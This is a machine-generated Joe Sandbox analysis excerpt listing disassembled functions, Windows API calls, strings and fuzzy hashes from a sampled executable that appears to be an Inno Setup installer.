Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Menu
String ID:
API String ID: 3711407533-0
Opcode ID: 011238806e8749de4259267c2425fab43e1a23b2a7ed20fe69ece2c0c4e48eae
Instruction ID: 68e231870b0c3442489bede8fdcf2aa1db34e154331db007d9f14f65c1163b63
Opcode Fuzzy Hash: 011238806e8749de4259267c2425fab43e1a23b2a7ed20fe69ece2c0c4e48eae
Instruction Fuzzy Hash: 4641AE3070425447EB20EA3AA9857AB36925B20308F4841BFFC40DF7A3CA7CDD45839D

Function 00416B42 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 00416B84
SetTextColor.GDI32(?,00000000), ref: 00416B9E
SetBkColor.GDI32(?,00000000), ref: 00416BB8
CallWindowProcA.USER32(?,?,?,?,?), ref: 00416BE0

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Color$CallMessageProcSendTextWindow
String ID:
API String ID: 601730667-0
Opcode ID: 072521f5090f240ceba025e33949739ce14f97652003165ca459573163e57643
Instruction ID: 4ea48ea5c9b96bae81565ca4ce64eb356f32bd46963e120bc97d04dec40f2685
Opcode Fuzzy Hash: 072521f5090f240ceba025e33949739ce14f97652003165ca459573163e57643
Instruction Fuzzy Hash: BC115171705604AFD710EE6ECC84E8777ECEF49310715887EB959CB612C638F8418B69

Function 004230C8 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0042311E
EnumFontsA.GDI32(00000000,00000000,00423068,00410460,00000000,?,?,00000000,?,00418FD3,00000000,?,?,?,00000001), ref: 00423131
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00423139
ReleaseDC.USER32(00000000,00000000), ref: 00423144

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CapsDeviceEnumFontsRelease
String ID:
API String ID: 2698912916-0
Opcode ID: ae3b46bdf4144dece9088701a44aa945a4d7eb571b2044da6dc5baa79edeb2ca
Instruction ID: a9d24610abdaa6694e735d00c6d38f20457f2ac5f1468c421a1b182fb2ef8db9
Opcode Fuzzy Hash: ae3b46bdf4144dece9088701a44aa945a4d7eb571b2044da6dc5baa79edeb2ca
Instruction Fuzzy Hash: 8D01CC716042102AE700BF6A5C82B9B3AA49F01319F40027BF808AA3C6DA7E980547AE

Function 004019CC Relevance: 6.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,02239F08,00001C1C,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 46a689739c098c0829933ff4921327776432a14e69d4c62b65241a59cfc7f4a2
Instruction ID: 91310e2de28581c92a9b529d79901d52005bdf0b1253609ef7109df0d78d257f
Opcode Fuzzy Hash: 46a689739c098c0829933ff4921327776432a14e69d4c62b65241a59cfc7f4a2
Instruction Fuzzy Hash: D001A1706482409EE719AB69BA467253FD4D795B48F11803BF840A6BF3C77C4440EBAD

Function 0040626C Relevance: 6.0, APIs: 4, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

GlobalHandle.KERNEL32 ref: 0040626F
GlobalUnlock.KERNEL32(00000000), ref: 00406276
GlobalReAlloc.KERNEL32(00000000,00000000), ref: 0040627B
GlobalLock.KERNEL32(00000000), ref: 00406281

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Global$AllocHandleLockUnlock
String ID:
API String ID: 2167344118-0
Opcode ID: cbc5b304f88c7a08b053d0b09bd11fc9f2d944e51c7d356257a26bde9ab667b0
Instruction ID: 5df08fd8dc2b017785a639aa93036e57be915985ffe03f20f856cac12e18577c
Opcode Fuzzy Hash: cbc5b304f88c7a08b053d0b09bd11fc9f2d944e51c7d356257a26bde9ab667b0
Instruction Fuzzy Hash: 0BB009C4810A01BEEC0473B24C0BE3F245CD88172C3904A6F3448BA183987C9C405A3A

Function 0045C264 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 0045092C: SetEndOfFile.KERNEL32(?,?,0045C342,00000000,0045C4CD,?,00000000,00000002,00000002), ref: 00450933

FlushFileBuffers.KERNEL32(?), ref: 0045C499

Strings

NumRecs range exceeded, xrefs: 0045C396
EndOffset range exceeded, xrefs: 0045C3CD

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: File$BuffersFlush
String ID: EndOffset range exceeded$NumRecs range exceeded
API String ID: 3593489403-659731555
Opcode ID: 98591a619d7ee0d7439f396e87f7c1d5401f80e1c636742f2232de9d7c590d3d
Instruction ID: 69b4fe9c868b7cadc716880164946defc5db249b4b2908964217ac1dcc813941
Opcode Fuzzy Hash: 98591a619d7ee0d7439f396e87f7c1d5401f80e1c636742f2232de9d7c590d3d
Instruction Fuzzy Hash: 4F617334A002588FDB25DF25C891AD9B7B5AF49305F0084DAED88AB353D674AEC8CF54

Function 00498CFC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 00403344: GetModuleHandleA.KERNEL32(00000000,00498D0A), ref: 0040334B
Part of subcall function 00403344: GetCommandLineA.KERNEL32(00000000,00498D0A), ref: 00403356

Part of subcall function 0040631C: GetModuleHandleA.KERNEL32(kernel32.dll,?,00498D14), ref: 00406322
Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040632F
Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 00406345
Part of subcall function 0040631C: GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 0040635B
Part of subcall function 0040631C: SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,00498D14), ref: 00406366

Part of subcall function 004063C4: 6F571CD0.COMCTL32(00498D19), ref: 004063C4

Part of subcall function 00410764: GetCurrentThreadId.KERNEL32 ref: 004107B2

Part of subcall function 00419040: GetVersion.KERNEL32(00498D32), ref: 00419040

Part of subcall function 0044F744: GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00498D46), ref: 0044F77F
Part of subcall function 0044F744: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F785

Part of subcall function 0044FC10: GetVersionExA.KERNEL32(0049B790,00498D4B), ref: 0044FC1F

Part of subcall function 004531F0: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498D5A), ref: 00453210
Part of subcall function 004531F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453216
Part of subcall function 004531F0: GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498D5A), ref: 0045322A
Part of subcall function 004531F0: GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453230

Part of subcall function 004570B4: GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 004570D8

Part of subcall function 004645F4: LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,00498D6E), ref: 00464603
Part of subcall function 004645F4: GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 00464609

Part of subcall function 0046CE48: GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046CE5D

Part of subcall function 00478D74: GetModuleHandleA.KERNEL32(kernel32.dll,?,00498D78), ref: 00478D7A
Part of subcall function 00478D74: GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 00478D87
Part of subcall function 00478D74: GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 00478D97

Part of subcall function 004840DC: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 004841CB

Part of subcall function 00495D08: RegisterClipboardFormatA.USER32(QueryCancelAutoPlay), ref: 00495D21

SetErrorMode.KERNEL32(00000001,00000000,00498DC0), ref: 00498D92

Part of subcall function 00498ABC: GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,00498D9C,00000001,00000000,00498DC0), ref: 00498AC6
Part of subcall function 00498ABC: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00498ACC

Part of subcall function 004244D4: SendMessageA.USER32(?,0000B020,00000000,?), ref: 004244F3

Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC

ShowWindow.USER32(?,00000005,00000000,00498DC0), ref: 00498DF3

Part of subcall function 0048271C: SetActiveWindow.USER32(?), ref: 004827CA

Strings

Setup, xrefs: 00498DD9

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$HandleModule$Window$Version$ActiveClipboardCommandCurrentErrorF571FormatLibraryLineLoadMessageModePolicyProcessRegisterSendShowTextThread
String ID: Setup
API String ID: 3527831634-3839654196
Opcode ID: 6d2aa48d0117c001fc25c1922946b02541ad54c9e92066502987b31b47ea5c24
Instruction ID: 318b3e5e85ef0be54a1a1da069a78cc2bc151e84a7b2911c39910b17bc3e1ed5
Opcode Fuzzy Hash: 6d2aa48d0117c001fc25c1922946b02541ad54c9e92066502987b31b47ea5c24
Instruction Fuzzy Hash: BB31DA712445009ED6017BBBFC23A2D3B94EF8A718B61443FF800D6593DE3D58508A7E

Function 0042DC00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 113registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,0042DD38), ref: 0042DC3C
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,70000000,?,?,00000000,?,00000000,?,00000000,0042DD38), ref: 0042DCAC

Strings

x>H, xrefs: 0042DD2F, 0042DC88, 0042DC98, 0042DCF4, 0042DD18, 0042DD08, 0042DCDF

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: QueryValue
String ID: x>H
API String ID: 3660427363-2623615525
Opcode ID: b62dc44b296d1c54c0416b8d239270b5fe200a79a82432283709fd1da487490f
Instruction ID: 5bd1c55a509b6dee259ffcee94d68868fe84ce326e73fb4cf6662c4527ef549e
Opcode Fuzzy Hash: b62dc44b296d1c54c0416b8d239270b5fe200a79a82432283709fd1da487490f
Instruction Fuzzy Hash: 9D414171E00529ABDB11DF95D881BAFB7B8EB04704F918466E810F7241D778AE00CBA5

Function 00453A24 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,00453B13,?,?,00000000,0049B628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00453A6A
GetLastError.KERNEL32(00000000,00000000,?,00000000,00453B13,?,?,00000000,0049B628,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00453A73

Strings

.tmp, xrefs: 00453A53

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: .tmp
API String ID: 1375471231-2986845003
Opcode ID: c13a0321bafd95638ebcc9d7358687d1d9e4986dcb43e5f2f1a856607b01db90
Instruction ID: 2c169793aa1d4e8b0ae54453200dd0eeecd34c8d921a2c5b894f13e1de3ec917
Opcode Fuzzy Hash: c13a0321bafd95638ebcc9d7358687d1d9e4986dcb43e5f2f1a856607b01db90
Instruction Fuzzy Hash: BD213575A002089BDB01EFA5C8429DEB7B8EF49305F50457BE801B7343DA3CAF058B69

Function 004840DC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00483BD0: GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00483BE1
Part of subcall function 00483BD0: GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00483BEE
Part of subcall function 00483BD0: GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 00483BFC
Part of subcall function 00483BD0: GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00483C04
Part of subcall function 00483BD0: GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 00483C10
Part of subcall function 00483BD0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 00483C31
Part of subcall function 00483BD0: GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 00483C44
Part of subcall function 00483BD0: GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 00483C4A

Part of subcall function 00483EFC: GetVersionExA.KERNEL32(?,0048410E,00000000,004841E3,?,?,?,?,?,00498D7D), ref: 00483F0A
Part of subcall function 00483EFC: GetVersionExA.KERNEL32(0000009C,?,0048410E,00000000,004841E3,?,?,?,?,?,00498D7D), ref: 00483F5C

Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD

GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 004841CB

Strings

SHGetKnownFolderPath, xrefs: 004841B6
shell32.dll, xrefs: 004841C0

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$HandleModuleVersion$CurrentErrorInfoLibraryLoadModeNativeProcessSystem
String ID: SHGetKnownFolderPath$shell32.dll
API String ID: 3869789854-2936008475
Opcode ID: 120743d62397d7dd8f565f65e933059d155473ad0266f649b894e8535e474c20
Instruction ID: 8f141226009d12819f39ffdf3d8d8dfb3901e8aec82ab5bf6b1281045b99753f
Opcode Fuzzy Hash: 120743d62397d7dd8f565f65e933059d155473ad0266f649b894e8535e474c20
Instruction Fuzzy Hash: 2E21F4B06103515AC700BF6E599611A3BA5EBA470C3C0853BF804DB3D1D77E641557AE

Function 0047C72C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,0047CA80,00000000,0047CA96), ref: 0047C78E

Strings

RegisteredOwner, xrefs: 0047C76B
RegisteredOrganization, xrefs: 0047C77D

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Close
String ID: RegisteredOrganization$RegisteredOwner
API String ID: 3535843008-1113070880
Opcode ID: ef0a55dbdd5111b28c91ef96b119f1f00a00055abc9f027fd3389a3e3d73c389
Instruction ID: 9cb25581828c7dc4112ddabd514b1e440ba6ea72c9c862f9779223ba634b1a41
Opcode Fuzzy Hash: ef0a55dbdd5111b28c91ef96b119f1f00a00055abc9f027fd3389a3e3d73c389
Instruction Fuzzy Hash: 9CF0B434704104AFEB08D6A8DDD2BAB33A9D781304F60843FA1049B342CB799E019B5C

Function 0046EF94 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,bcG,?,0049C1E0,?,0046F2AB,?,00000000,0046F846,?,_is1), ref: 0046EFB7

Strings

Inno Setup: Setup Version, xrefs: 0046EFB5
bcG, xrefs: 0046EF99

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Value
String ID: Inno Setup: Setup Version$bcG
API String ID: 3702945584-3795201806
Opcode ID: 01fe3b2d5d6cbd09ffaaa45717ddb91502938b8e731c7b2786fa022487e36440
Instruction ID: c391946ca8a1dfb9bd2a8f8d535a4e5f0653d7f158c17c03f22a663429f2d6a6
Opcode Fuzzy Hash: 01fe3b2d5d6cbd09ffaaa45717ddb91502938b8e731c7b2786fa022487e36440
Instruction Fuzzy Hash: 27E06D753012043FD710AA2B9C85F6BBADCDF98365F10403AB908DB392D578DD0182A9

Function 004753A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,004755D7), ref: 004753C5
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,004755D7), ref: 004753DC

Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004984F9,00000000), ref: 0045349F

Strings

CreateFile, xrefs: 004753D1

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast
String ID: CreateFile
API String ID: 2528220319-823142352
Opcode ID: 1a55a1e4c1fb49d9bc54d9a8d3d53753370932944cdaf0802b6a1dcfba90570a
Instruction ID: 23bbe5cabe4c789aefdcb14511ce8337273e95aa1034df333e2216031f6918ef
Opcode Fuzzy Hash: 1a55a1e4c1fb49d9bc54d9a8d3d53753370932944cdaf0802b6a1dcfba90570a
Instruction Fuzzy Hash: 42E06D302407047BEA10EA69CCC6F4A77989B04768F10C152FA58AF3E2C5F9EC808618

Function 0042DE1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,7=H,?,00000001,?,?,00483D37,?,00000001,00000000), ref: 0042DE38

Strings

System\CurrentControlSet\Control\Windows, xrefs: 0042DE36
7=H, xrefs: 0042DE32, 0042DE35

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Open
String ID: 7=H$System\CurrentControlSet\Control\Windows
API String ID: 71445658-1645423573
Opcode ID: a11f376e1d034aeb0d9ae53f60934921bcd728bb93d306f1768079d63b1ffdfe
Instruction ID: 60e43675bb36a9eef4a15598a1848ca3f705ecc445ee8c9fe52fc6b05f1352bb
Opcode Fuzzy Hash: a11f376e1d034aeb0d9ae53f60934921bcd728bb93d306f1768079d63b1ffdfe
Instruction Fuzzy Hash: 29D09E72950128BB9B009A89DC41DFB775DDB15760F45441BF9049B141C5B4AC5197E4

Function 004570B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00457044: CoInitialize.OLE32(00000000), ref: 0045704A

Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD

GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 004570D8

Strings

SHCreateItemFromParsingName, xrefs: 004570C3
shell32.dll, xrefs: 004570CD

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressErrorInitializeLibraryLoadModeProc
String ID: SHCreateItemFromParsingName$shell32.dll
API String ID: 2906209438-2320870614
Opcode ID: 473d3a9bafce561ecf491a32b6dbba517f8cfc0a4c735404f8b45e5d580fac4e
Instruction ID: 7fba65882f7194314ab185764ebfac318737a269d5660949bdaf7135ffc1064c
Opcode Fuzzy Hash: 473d3a9bafce561ecf491a32b6dbba517f8cfc0a4c735404f8b45e5d580fac4e
